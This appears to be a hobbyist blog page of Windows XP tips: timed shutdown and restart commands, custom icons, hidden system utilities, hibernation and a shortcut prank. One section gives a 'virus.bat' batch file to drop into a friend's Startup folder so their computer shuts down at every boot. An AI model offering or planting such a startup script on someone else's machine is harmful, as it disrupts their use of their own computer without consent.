Shutdown and Restart Trick !

My Exclusive... Again a contribution to Computer Tricks !
Play pranks on your friends...

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Shutdown Trick
Stimulate shutdown from command prompt !
# Start >> Run
# Type shutdown -s -t 10 -c "Shutting Down..."
# Hit Enter and enjoy !
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Restart Trick
Stimulate Restart from command prompt !
# Start >> Run
# Type shutdown -r -t 10 -c "Restarting..."
# Hit Enter and enjoy !
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Log Off Trick
Stimulate LogOff from command prompt !
# Start >> Run
# Type shutdown -l
# Hit Enter and enjoy !
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Please Note
-s :: This signify Shutdown Request.
-r :: This signify Restart Request.
-l :: This signify LogOff Request.
-t :: This signify the timer before Restart. (Replace '10' with any number.)
-c :: This signify comment.

How To Stop It ?
# When the timer is Running...
# Start >> Run
# Type shutdown -a
# That's It.

Prank !!!

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۩ We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

► Open Notepad

► Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

► File >> Save As...

► Name it : virus.bat

► Start >> All Programs

► Right Click on Startup >> Open

► This open the Startup folder

► Paste the Virus.bat file here !

*** That's all , now the computer will automatically shutdown on every startup !

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Please Comment...

Make Your Own Icons In Windows XP !

Now even personalize your ICONS with Windows XP !

To make your own ICON :

1. Start>>All Programs>>Accessories
2. Click Paint
3. In toolbar select Image
4. Click Attributes

--------------------- Note : The size of a icon is 32 x 32 pixels ! ---------------------

5. Type 32 in both Height and Width and sure that Pixels is selected under Units
6. Click OK
7. Now add your photo or design .
8. File>>Save As
9. Type name.ico
10. Click Save

Enjoy your New ICON !!!

Hidden Programs In Windows XP !

Strange, but true that some good programs are hidden in Windows XP !!!

Programs :

1. Private Character Editor :
Used for editing fonts,etc.

** start>>Run
** Now, type eudcedit

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2. Dr. Watson :
This an inbuilt windows repairing software !

** start>>Run
** Now, type drwtsn32

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3. Media Player 5.1 :
Even if you upgrade your Media Player, you can still access your old player in case the new one fails !!!

** start>>Run
** Now, type mplay32

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4. iExpress :
Used to create Setups

You can create your own installers !

** start>>Run
** Now, type iexpress

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Hibernate Your XP !

Hey your Windows XP has a very good but hidden feature !

Trick Advantage :
You can leave your work in between and shutdown the PC and resume it next time as it is !
Even I switched off my PC while writing this article and when I reopened it I resumed my article from where i left !

When you want to stop your work and shutdown(Keeping your programs open)
Do The Following :
1. Click start>Turn Off Computer.
2. As the Turn Off menu comes up press 'Shift' and 'Stand By' changes to 'Hibernate'
3. Click Hibernate (Shift Kept Pressed)

Your xp will save the work and shutdown !

Now, when you switch it on again it will resume it again !

No loading of windows will take place and you will be resumed to your work as if you had just switched your monitor off and now on again !

Its Amazing !

Scare Your Friend With Auto Shutdown !

Just enjoy the video :


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Read the following :
1. Right click on desktop>select New>shortcut
2. In the shortcut window type : shutdown -s -t 60 -c "the message you want to display"
3. Select Next
4. Name it anything.

Now, double click it !

Scared ???

Nothing happened !

Remedy :
1. Go to start>Run
2. Type : shutdown -a
3. Hit Enter

Oh! You are rescued !